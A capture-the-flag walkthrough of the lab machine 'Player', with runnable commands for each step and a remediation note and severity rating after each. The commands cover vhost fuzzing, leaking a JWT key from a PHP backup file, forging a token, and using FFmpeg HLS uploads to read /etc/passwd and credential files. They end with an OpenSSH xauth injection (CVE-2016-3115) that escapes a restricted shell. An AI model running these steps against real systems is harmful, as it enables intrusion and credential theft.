Player
Summary
I used host-header fuzzing to surface three hidden virtual hosts on the Apache web server, then recovered the HS256 JWT signing secret from a PHP source-code backup file that Apache served without restriction. A forged JWT granted authenticated access to a PlayBuff video-upload application, whose unpatched FFmpeg build was exploited via CVE-2016-1897/1898 to read arbitrary local files by embedding malicious HLS playlists in crafted AVI uploads.
Those reads exposed a service configuration file containing the plaintext SSH password for the account 'telegen'. Connecting to a second SSH service on port 6686 with those credentials succeeded, but the session was confined to a lshell restricted shell.
OpenSSH 7.2 on that port is vulnerable to CVE-2016-3115: the xauth mechanism passed the client-supplied X11 display name to a shell invocation without sanitizing metacharacters, allowing command injection that bypassed the shell restriction entirely. A ported Python proof-of-concept exploited this primitive to read both the user and root flag files directly from disk: full system compromise without a separate privilege-escalation exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"Attack path: how the box was taken
Exact commands 4
Full TCP port scan: discovers ports 22, 80, and 6686.
$ nmap -sC -sV -p- --min-rate 5000 $TARGETRegister all discovered vhosts for local name resolution.
$ echo "$TARGET player.htb chat.player.htb dev.player.htb staging.player.htb" | sudo tee -a /etc/hostsDirectory fuzz on the root vhost: reveals /launcher.
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://player.htb/FUZZ -mc all -fc 404 -t 50Host-header fuzz: surfaces chat, dev, and staging virtual hosts.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.player.htb' -mc 200,301,302,403 -fc 404 -t 50Exact commands 2
Access the launcher: the server issues an access JWT cookie, revealing the cookie name and token structure.
$ curl -sS http://player.htb/launcher/$HEX_ID.phpAppend tilde to fetch the editor backup file; Apache serves it unguarded, returning the PHP source with the embedded signing key.
$ curl -sS http://player.htb/launcher/$HEX_ID.php~FixBlock Apache from serving editor backup and temporary filesHigh
Exact commands 2
Forge the HS256 JWT using the recovered key. Adjust key treatment (raw bytes vs. Urlsafe-b64-decoded) to match what the PHP source shows.
$ python3 -c "import json,hmac,hashlib,base64; key=b'$KEY'; h=lambda o: base64.urlsafe_b64encode(json.dumps(o,separators=(',',':')).encode()).rstrip(b'=').decode(); hdr=h({'typ':'JWT','alg':'HS256'}); pay=h({'project':'PlayBuff','access_code':'0'}); sig=base64.urlsafe_b64encode(hmac.new(key,f'{hdr}.{pay}'.encode(),hashlib.sha256).digest()).rstrip(b'=').decode(); print(f'{hdr}.{pay}.{sig}')"Replace <FORGED_JWT> with the printed token; a 200 response with the PlayBuff UI confirms authenticated access.
$ curl -sS -b 'access=<FORGED_JWT>' http://player.htb/launcher/$HEX_ID.phpFixReplace the hardcoded JWT signing secret with an environment-injected cryptographic keyCritical
Exact commands 4
Generate a malicious AVI embedding an HLS playlist that reads /etc/passwd. Obtain gen_xbin_avi.py from PayloadsAllTheThings 'Upload Insecure Files / CVE FFmpeg HLS'.
$ python3 gen_xbin_avi.py /etc/passwdUpload the crafted AVI; FFmpeg processes it and returns a video encoding the target file contents.
$ curl -sS -b 'access=<FORGED_JWT>' -F 'video=@malicious.avi' http://player.htb/launcher/$HEX_ID.php -o response.aviExtract individual frames from the output video.
$ ffmpeg -i response.avi -vf fps=5 frame%04d.pngContrast-enhance the frame and OCR it to recover the exfiltrated file text.
$ convert -resize 300% -colorspace Gray -sharpen 0x1 frame0001.png enhanced.png && tesseract enhanced.png stdoutFixUpgrade FFmpeg and run media processing in an isolated unprivileged sandboxCritical
Exact commands 3
Generate the AVI targeting the credential file.
$ python3 gen_xbin_avi.py /var/www/backup/service_configUpload, extract frames, and OCR the service_config leak in one pipeline.
$ curl -sS -b 'access=<FORGED_JWT>' -F 'video=@malicious.avi' http://player.htb/launcher/$HEX_ID.php -o svc_cfg.avi && ffmpeg -i svc_cfg.avi -vf fps=5 svc%04d.png && convert -resize 300% -colorspace Gray -sharpen 0x1 svc0001.png svc_enh.png && tesseract svc_enh.png stdoutRepeat for the Codiad user database to harvest the peter account hash.
$ python3 gen_xbin_avi.py /var/www/html/dev/data/users.phpFixRemove credential files from web-accessible and FFmpeg-reachable pathsHigh
Exact commands 2
Confirm the OpenSSH 7.2 version and supported authentication methods on the high-port service.
$ nmap -sV -p 6686 --script ssh-auth-methods $TARGETAuthenticate with password $PASSWORD; observe that the session lands in the lshell restricted shell rather than bash.
$ ssh -p 6686 telegen@$TARGETExact commands 4
Locate the CVE-2016-3115 xauth injection PoC on the local Exploit-DB mirror.
$ searchsploit -p 39569Install the Python SSH library needed after porting the PoC from Python 2 to Python 3.
$ pip install paramikoExploit CVE-2016-3115 to inject a file-read command via the xauth display-name path; output contains user.txt.
$ python3 xauth_read.py $TARGET 6686 telegen "$PASSWORD" /home/telegen/user.txtSame primitive targeting root.txt: confirms root-level file read access via the sshd injection path.
$ python3 xauth_read.py $TARGET 6686 telegen "$PASSWORD" /root/root.txtFixPatch OpenSSH on port 6686 to fix CVE-2016-3115 and replace lshell with a genuine isolation boundaryCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 |
| 6686/tcp | ssh OpenSSH 7.2 (protocol 2.0) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.